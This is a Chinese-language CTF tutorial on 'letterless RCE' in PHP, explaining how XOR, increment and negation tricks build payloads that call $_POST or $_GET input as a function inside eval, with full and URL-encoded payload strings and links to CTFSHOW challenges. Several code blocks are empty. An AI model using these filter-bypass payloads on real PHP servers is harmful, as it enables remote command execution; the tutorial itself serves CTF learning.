无字母RCE
1 |
|
异或
借助异或构造payload如下
1 | $__=("#"^"|"); // _ |
然后我们再取消一下换行符,将它合并于一行之中
1 | $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]); // $_POST[_]($_POST[__]); |
最后进行一次URL编码
1 | code=%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B |
或者直接多个字符一起异或,根据未过滤字符构造目标脚本:
1 | valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ " # 没有被过滤的字符 |
自增
官方文档如下
https://www.php.net/manual/zh/language.operators.increment.php
当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符,比如现在我们获取到了
$_=A,我们进行$_++,此时$_就变成了B,同理就可以构造出GET以及POST字符,接下来以例子来进行讲解,这里例题的话还用之前的demo在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中$a = 'Z'; $a++;将把$a变成'AA',而在 C 中,a = 'Z'; a++;将把a变成'['('Z'的 ASCII 值是 90,'['的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯 ASCII 字母数字(a-z、A-Z 和 0-9)。递增/递减其他字符变量则无效,原字符串没有变化。
我们首先可以写一个[]看一下
1 |
|
可以看到它就是一个数组,我们无法获取它的这个Array字符,那我们该怎么获取呢,我们尝试字符拼接
1 |
|
成功获取到了字符Array,然后我们获取想获取A的话,就可以采用$_[0]这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断,比如我们在[]里加一个==$,此时因为空和$不同,它就会输出0,此时也就等同于$_[0],在有些版本中[]中间为非数字字符也会被当做下标0
1 |
|
此时成功获取到了字符A,有了A,我们就可以通过自增依次获取其他字符,我们尝试获取一个字符G
1 |
|
然后看我们这里的代码的话,是eval($code),所以我们就可以构造这种的$_GET[1]($_GET[0]),这个时候我们就可以system(ls)这种命令的执行,所以接下来的话就开始构造
1 |
|
接下来就可以尝试去给_和__GET传参,这里我们需要把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次,所以我们构造的payload先变成这样
1 | $_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]); |
而后变成
1 | %24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B |
1 | // 附assert($_POST[__]) |
其他1
在自增中,可以通过特殊字符构造出字符串的有以下几种方式
1 | [].'' //Array |
这个时候就有一个问题了,如果ban了数字,我们该怎么去构造NAN和INF呢,这个时候就需要讲到一个知识点,我们这里的话需要说一下这个NAN和INF
1 | NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。 |
这里可以看出NAN表示的是未被定义的值,所以我们这里可以通过a/a这种方式构造,如果字母也被ban,我们也可以借助其他字符,比如_/_,这个时候也可以得到NAN,同理,INF也可以通过1/a的方式获取。
其他2
我们在构造$_POST中的_时,正常操作的话是这样,$a='_'.$b(假设这里$b就是POST),然后这个时候如果'被ban,看似这里是无法再利用了,但其实,我们直接写$a=_.$b也是可以的,这个时候效果同上而且缩短了字符长度。
取反
1 |
|
例题
CTFSHOW RCE挑战1-5 https://ctf.show/challenges#RCE挑战1-3916 / 2-3917 / 3-3918 ….